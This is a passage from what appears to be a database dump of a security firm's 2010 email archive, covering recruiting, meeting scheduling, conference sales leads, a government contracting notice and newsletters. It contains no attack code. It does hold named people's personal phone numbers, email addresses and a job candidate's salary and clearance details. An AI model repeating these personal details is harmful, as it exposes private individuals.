Monday 8/23 (Fly out Sunday night).\r\n&nbsp;\r\nDavid Taylor – I don’t know who on your side should attend so I will leave this up to you to pass this on.&nbsp; Thanks \r\n&nbsp;\r\nDial (763) 488-9407&nbsp; Conference Code 7038893785\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',5727,'aaron_hbgary_com/5727.html'),(10623,'2010-08-19','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008215.M883759P14101Q5478.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 7','Thanks Aaron!I\'m actively recruiting more as well.&nbsp;Ed~~~~~~~~~~~~~~~~~Ed WallachPresident &amp; CEO&nbsp;Ed Wallach Search Group301-365-3291 office301-613-0629 cellwww.wallachsearch.comed@wallachsearch.comRECRUITING INTELLIGENCEOn Aug 19, 2010, at 11:42 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:This one interests me.Let me take a look at the agreement you sent and get it back to you and we can go further.AaronOn Aug 18, 2010, at 3:26 PM, Ed Wallach wrote:Interesting background...don\'t think she has a poly...waiting for more info from her including an updated resume, tickets etc...She owns a home in VAShe\'s available to interview immediately and can begin a new position in October.&nbsp;&nbsp;7$130K Minimum desiredActive ClearancesOBJECTIVES&nbsp;Versatile and team player, 7 is seeking a position to apply her technical, analytical, managerial, and leadership skills. 7 is acquainted with DoD information assurance program, ISO 17799/27001 and SABSA Security Framework. Good understanding with regards to the applications of the special publications of the National Institute for Standard and Technology (NIST). 7 has written several essays about Information Assurance (IA) (refer to publications in the resume below). 7 participated in missions supporting computer network defense response action (CND/RA). She conducted&nbsp;vulnerability&nbsp;assessments, analyzed security threats and techniques, tactics, and procedures (TTP) of cyber threats and cyber crimes. Her overall experience encompasses the entire spectrum of technical IA and security management.&nbsp;Accept 25-75% travel CONUS and OCONUS with negotiable compensation.PROFESSIONAL RELEVANT EXPERIENCE PACIFIC NORTHWEST NATIONAL LABORATORY (PNNL) headquarter in Richland , WACurrent&nbsp;Engineer Scientist IVNetwork forensics analysis and data set analysis&nbsp;Assumption-based queries and identification to isolate&nbsp;and confirm abnormal traffic&nbsp;researches in cyber security related topics&nbsp;SECURICON - Arlington, VA2008Senior Security Intrusion Analyst Digital Investigation - Information AssuranceContract with JTF-GNO - DISASenior Security Intrusion Analyst Cyber intelligence and digital security investigation&nbsp;Network security experience on Windows and UNIX system (NetFlow)Collect and investigate the current cyber-threats and related attacks vectors against the global information grid (GIG) and, perform networkvulnerability&nbsp;analysis, security monitoringParticipate in the joint Intel fusion coordination between the different downstream and upstream organizations: JTF-GNO at DISA, NSA, FBI, US-CERT, NOSC, USMC, AFNOSC, ACERT, and other collateral major command (CENTCOM, PACOM, TRANSCOM, and etc) and other regional government organizationsSRA International Arlington, VA2004 - 2008&nbsp;Security Network Engineer &amp; Information Assurance AnalystSecurity Analyst &amp; Security Network auditingDigital forensics investigation (DFI)Security analyst and auditor Guidance and Compliance of the internal information system infrastructureDefined audit requirements and scope, investigate and document findings in an audit reportRecommended security solution to protect the internal information system infrastructureParticipated in writing and reviewing System Security Plan (SSP) and internal security policiesINSCOM - 1st Information Operation Command - Fort Belvoir, VA - Jan. 2005 - Jul. 2007Information Security OfficerArmy Computer Emergency Response (ACERT)Support Mission - Computer Network Operations Defense (CNOD)Implemented the tactics, techniques, and procedures (TTPs) supporting Computer Network Defense (CND) Response Action (CND-RA)Worked closely with various Army and government agencies (US Army Criminal Investigation Command (CID), US Army Computer Emergency Response Teams (ACERT), various Regional Computer Emergency Response Teams (RCERTs), Army research&nbsp;Labs, Joint Task Force/Global Network Operations (JTF-GNO) and National Security Agency (NSA)Functional assignment as security officer responsible for enforcing correct measure of protection within classified environment&nbsp;Leadership position Ft Gordon: supervised and managed 18 soldiers within the context of Warrant Officer Basic Course (WOBC) and leadership development.GENERAL DYNAMICS (sub-contract) - Arlington, VA Pentagon Renovation Project Oct. 2003 - May 2004.Senior Quality Assurance Automated System Network Infrastructure.Quality Management Assurance ISO QMS 9000 complianceVerified compliance between pre-deployment configurations devices with logical layer requirement. Provided on-site Pentagon installation QA support and inspectionDeveloped quality records and reports quality matrices.US ARMY NATIONAL GUARD Colorado Springs, CO193rd Army Space Support Battalion Nov. 2002 to Oct. 2004&nbsp;SATCOM Technician193rd Space Command Support BN, Peterson AF Base, Colorado&nbsp;Space Electronic warfare Detachment (SEWD) SpaceCentral Mission Area warfare in support of DoD duringMission Iraqi Freedom.&nbsp;RF and SATCOM communications in support of Operations Iraqi Freedom (OIF) in theater (oversea)LEVEL(3) COMMUNICATIONS - Broomfield, CO&nbsp;Feb 2001 July 2002&nbsp;Network EngineerTier III WAN Network Operations Engineer responsible for the management, monitoring, and maintenance of a multi-vendor global IP network in USA, Asia, and EUInitiated the need for configuration management for Network Operating Center (NOC). Developed and managed change control and procedures for configuration changes (configuration management)FIRSTWORLD COMMUNICATIONS - Englewood, CO&nbsp;Fall 1999 Feb 2001Network engineer and team leader in the NOCCisco CCNA Academy Instructor at Red Rock CommunityCollege (RRCC)NATIONAL RENEWABLE ENERGY LAB. (NREL) DoE Golden, CO (1998 1999)Laboratory TechnicianFundamental researches&nbsp;in Organic ChemistryMILITARYUS ARMY RESERVE Service Member (SM) Fort Belvoir, VA1st Information Operations Command Support Battalion&nbsp;Warrant OfficerUS NATIONAL GUARD SM - Peterson AF Base, CO193rd Army Space Support Battalion&nbsp;US NATIONAL GUARD SM - Buckley AF Base, CODetachment 5 Army Medical Support BattalionCLEARANCES Need to KnowFORMAL EDUCATION&nbsp;NORWICH UNIVERSITYMasters of Science in Information Assurance (MSIA), 2007 Program accredited by NSA&nbsp;GPA = AJOHNS HOPKINS UNIVERSITYCompleted coursework: JAVA Programming &amp; Biostatistics Analysis, 2004SORBONNE UNIVERSITYPost-master and Masters of Art (MA) degree in Philosophy, 1993Received Very High HonorsTECHNICAL DEVELOPMENT COURSES AND TRAININGS Cisco Certified Network Associate (CCNA), 2000Cisco Certified Network Professional (CCNP), 2002&nbsp;Inter-Services Space Fundamental, U.S. Air Force, 2002Certified Information Systems Security Officer (ISSO), 2003&nbsp;UNIX System Architecture, 2003Certified&nbsp;ethical&nbsp;Hacker (CEH), 2005E-Council Certified Security Analyst (ECSA), 2006RedHat Training Administration and Network Security, 2007CompTIA Security +, 2008GIAC System Network Auditor (GSNA), 2008PCI/DSS 1.2 Becoming and Staying Compliant (training 2008)SANS GIAC Certified ISO-17799 Specialist (G7799), 2009Joint Network Attack Course (JNAC), 2009SANS GIAC Security Essentials Certification (GSEC), 2009SANS GIAC Certified Forensic Analyst (GCFA) , 2010Memberships:InfraGard Member - Washington Field ChapterISACA (National Capital Area)&nbsp;SANS MemberSSI/PAFI CertifiedToastmaster memberSKILLS SET&nbsp;NETWORK and IT SECURITY:Digital data analysis: file system analysis (Fat, NTFS, UFS, ext2/3). Toolkit: SleuthKit (mactime, mac-robber, etc), Traffic flaw (SiLK), Wireshark, Autopsy, Helix, password cracking, recovery of deleted data, timeline analysisvulnerability&nbsp;testing: TCP/IP protocol and network services (port), NMAP, Ethereal, and&nbsp;hacking&nbsp;and auditing tools, and etc.Wireless security countermeasures WiFi, GSM, WiMaxWindows Server 2003: deployment of Active Directory (AD), Microsoft Exchange, network services, Server Resources Management, SQL serverNetworking: Cisco, Juniper, Extreme Networks, Vyatta Layer 2 &amp; 3 protocols (network basics networking): Ethernet, Gigabit Ethernet, SONET, ATM, VLANS RIP, OSPF, BGP, MPLS, LDP, RSVP, HSRP)LINGUISTICS:Bilingual: fluent French/EnglishTutor at Michigan State UniversityDefense Linguistic Proficiency Test (DLPT) 3/3&nbsp;French Assistant High School, MichiganCyber-Defense: US Army Criminal Investigation Command (CID) with interpretation and translation of legal documents in relation with a cyber-crime investigation (French legal jurisdiction and International Criminal Police Organization (Interpol))Consulting for DoJ (2007): translation in the context of international litigation (affidavit for extradition) between Europe (France) and United StatesMISCELLEANEOUS:UNIX/Linux flavored (Fedora, RedHat, WINDOWS (NT, 2003 Server, XP)), MAC OSX, VMware Workstation, Core Impact, i2-Analyst Notebook, Web design (HTML, Dreamweaver, Studio MX), VMware Workstation, VISIO, AutoCADPUBLICATIONS&nbsp;INFOSEC Management or Business Impact Analysis, not just a Good Idea but a Necessity in IA Today!, October 2007Digital Forensics: Concepts and Applications, May 2007Defense Continuity Plan (DCP) in the Context of a PandemicReadiness (Phases I and II), February 2007 (pandemicCOOP) in compliance and requirement (Homeland SecurityAct of 2002 (A Bill))An Organic and Holistic Approach to Information Assurance, November 2006Paradox of Implication, October 1992&nbsp;Philosophical and Logical Foundations of Artificial Intelligence, June 1991 (Thesis Sorbonne-Paris IV)\r\n',10021,'aaron_hbgary_com/10021.html'),(10624,'2010-08-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008216.M111742P14101Q5479.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: iCal event: LANL / HbGary / Agilex telecom','Who set this up?On Aug 19, 2010, at 8:36 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nJust realized you werent on the distro for this for some reason.\r\n\r\nAaron Barr informs you of the event: LANL / HbGary / Agilex telecom, scheduled for August 19, 2010 at 7:00 PM. To add it to your calendar, click the link below.\r\n&lt;iCal-20100819-103554.ics&gt;\r\n\r\n',839,'aaron_hbgary_com/839.html'),(10625,'2010-08-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008216.M334959P14101Q5480.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: iCal event: LANL / HbGary / Agilex telecom','Is this 7pm ET?On Aug 19, 2010, at 8:36 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nJust realized you werent on the distro for this for some reason.\r\n\r\nAaron Barr informs you of the event: LANL / HbGary / Agilex telecom, scheduled for August 19, 2010 at 7:00 PM. To add it to your calendar, click the link below.\r\n&lt;iCal-20100819-103554.ics&gt;\r\n\r\n',4982,'aaron_hbgary_com/4982.html'),(10626,'2010-08-19','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297008216.M540205P14101Q5481.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: GFIRST FGet Announcement for Wedn. Aug. 18th','Hi Ted, If there is anything of specific interest happening at our booth, please let me know and I can put out a tweet i.e. turnout, types of attendees interested in our solutions, interest in FGET, etc.\r\n \r\nOn Tue, Aug 17, 2010 at 2:35 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\nBooth 7\r\n\r\n\r\n\r\n\r\nOn Aug 17, 2010, at 10:09 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\nHi Ted, Can you please send me the HBGary booth # for GFIRST? Thanks, K\r\nOn Mon, Aug 16, 2010 at 6:37 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\nHi Ted and Aaron, I wanted to let you know that I am working to secure media briefings for Greg to promote our new freeware tool, FGet, which will be released on Wedn. August 18th. We will be distributing a limited number of copies of the tool on CD at HBGary GFIRST booth -- similar to what we did with Fingerprint.  Do you have the booth # for HBGary at the conference? If so, please send. Thanks, Karen  \r\n\r\n',15127,'aaron_hbgary_com/15127.html'),(10627,'2010-08-19','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008216.M794862P14101Q5482.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: CRAP!','Aaron\r\n \r\nI can stil make another meeting with Byron -- we&#39;ll do a follow up!\r\n \r\nFYI I saw Randy Vickers asked if Byron were here but he is holding the fort...  Randy asked what I needed I said I wouldn&#39;t bother him now but that I&#39;ll hold that opportunity for another time...\r\n \r\nMaria\r\nOn Thu, Aug 19, 2010 at 7:39 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nWow again I am sorry, I was looking forward to the opportunity to sit down with Byron and talk cyber, I think it could have been a great conversation.  If there is ever another opportunity I would jump at it.  I just can&#39;t cancel on the INSCOM guys I am pretty sure they are going to buy some services and training for social media and I told them I already would assist in their training on that day. \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 5:19 PM, Maria Lucas wrote:\r\n\r\nPenny\r\n \r\nOn September 9th we have a meeting scheduled with the US-CERT Byron Copeland who reports to Randy Vickers to present the Threat Management Center -- Aaron originally was attending but has a conflict.\r\n \r\nA good plan would be to have Bob, Rich or Phil onsite with Greg providing a Webex presentation / Q&amp;A.\r\n \r\nPlease advise who should be onsite and confirm that we can schedule Greg for the technical side.  The meeting is 7:30 am pacific.\r\n \r\nMaria\r\nOn Wed, Aug 18, 2010 at 2:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nYes.Sent from my iPhone\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 4:53 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron what is this about????  Are you talking about the September meeting with Byron Copeland?\r\nOn Wed, Aug 18, 2010 at 11:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nI hadn&#39;t put it on my calendar, I missed it, but I already agreed to do social media training for INSCOM on the same day and time as the US-CERT meeting.  I am very sorry I missed that.  They can&#39;t move the training as I am being brought in to their overall 2 day training program.\r\nSuggestions?Aaron -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',2164,'aaron_hbgary_com/2164.html'),(10628,'2010-08-19','arc@westfields.net','/aaron@hbgary.com/new/1297008217.M22944P14101Q5483.eml','federal@hbgary.com','MOD Sole Source Business Opportunity Posting','\r\nThe NRO/MOD Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: CPAF. The Effort Type is SETA.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5409,'aaron_hbgary_com/5409.html'),(10629,'2010-08-19','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297008217.M286531P14101Q5484.eml','all@hbgary.com','Intel just bought McAfee','\r\nFor about ~7.6Billion...\r\n\r\nhttp://www.businesswire.com/portal/site/home/permalink/?ndmViewId=news_view&newsId=20100819005699&newsLang=en\r\n\r\n\r\n- Martin\r\n',4540,'aaron_hbgary_com/4540.html'),(10630,'2010-08-19','\"Courtney Augustine\" <caugustine@infoblox.com>','/aaron@hbgary.com/new/1297008217.M483630P14101Q5485.eml','aaron@hbgary.com','Integrated IPAM for Microsoft; NetMRI Trial Download','\r\n\r\nIntegrated IPAM for Microsoft; Free NetMRI Downloada{text-decoration:none;color:#0c4b7e;}a:hover{color:#000000;}p{padding:0;margin:0;font-size:13px;line-height:16px;}\r\n\r\n\r\n\r\nIf you are having trouble reading this email, read the online version.\r\n&nbsp;Integrated IPAM/DNS and DHCP for MicrosoftInfoblox now offers agent-less, centralized management of Windows DNS/DHCP and IPAM with role-based administration.> Learn moreCheck Out the New Infoblox WebsiteWe launched a new website and we would like to get your input. Give us your feedback via a short survey and you could win an iPod Nano.> Visit www.infoblox.com>Take website surveyTest Drive NetMRITake a look at the new Infoblox NetMRI™ network change and configuration management solution. Take control of your network by automating network change and configuration tasks for multi-vendor layer 2 and 3 network devices.> Download NetMRI now!Download IPAM FreewareTry the complete version of our IP address management tool and replace your spreadsheet today!> Download IPAM Freeware today!Socialize with Infoblox• Follow Cricket Liu on Twitter or his blog• Follow Infoblox on Twitter• Read the Infrastructure 2.0 blog&nbsp;&nbsp;NETWORK AUTOMATION WEBINAR Attend this on-demand webinar with Forrester\'s Glenn O\'Donnell and US Bank\'s Eric L. Cummings and find out how to drive expense, delay and availability risks out of your network.> Learn more Thanks for reading bloxNews! You can opt out, forward to a friend and/or submit suggestions to caugustine@ infoblox.com.&nbsp;\r\n\r\n\r\n\r\n\r\nYou are receiving this email because you have requested information from us in the past or have requested information from one of our trusted partners. If you would like to change your communications preferences or no longer receive mailings from Infoblox, please use the &nbsp;unsubscribe link , or write us at Infoblox, 4750 Patrick Henry Dr., Santa Clara, CA 95054 USA.\r\n\r\n\r\n',6443,'aaron_hbgary_com/6443.html'),(10631,'2010-08-19','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008217.M681602P14101Q5486.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Michael G. Spohn\" <mike@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Joe Pizzo\" <joe@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Ted met with Bit9','Bit9 stopped by the booth.  They have an OEM white listing service that Mandiant and Guidance Software both use.  Ted understood that it may be beneficial to consider this for Active Defense to help reduce false positives.  \r\n\r\n \r\nThey have OEM pricing and will would like to setup a telecom to discuss if we are interested?\r\n \r\nFrom a sales perspective I have agreed to work with the Federal Sales team in the same way we work with Fidelus -- to share leads and account opportunities....Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n',9674,'aaron_hbgary_com/9674.html'),(10632,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008217.M915023P14101Q5487.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,,,','Re: Ted met with Bit9','Reduction of false positives would be good.  InQtel told me the only reason they funded FireEye was because of extremely low false positives. Didn&#39;t matter as much how much much they caught.\r\nAaronSent from my iPhoneOn Aug 19, 2010, at 2:31 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nBit9 stopped by the booth.  They have an OEM white listing service that Mandiant and Guidance Software both use.  Ted understood that it may be beneficial to consider this for Active Defense to help reduce false positives.  \r\n\r\n\r\n \r\nThey have OEM pricing and will would like to setup a telecom to discuss if we are interested?\r\n \r\nFrom a sales perspective I have agreed to work with the Federal Sales team in the same way we work with Fidelus -- to share leads and account opportunities....Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n',982,'aaron_hbgary_com/982.html'),(10633,'2010-08-19','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008218.M234133P14101Q5488.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Ralph has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Ralph are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Ralph Thomas \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Manager, Malcode Intelligence at iDefense\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Ralph\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          ralph@ralph-thomas.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Ralph\'s Connections (198) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jose Nazario, Ph.D.\r\n                ,\r\n                  Board Member at The Honeynet Project\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          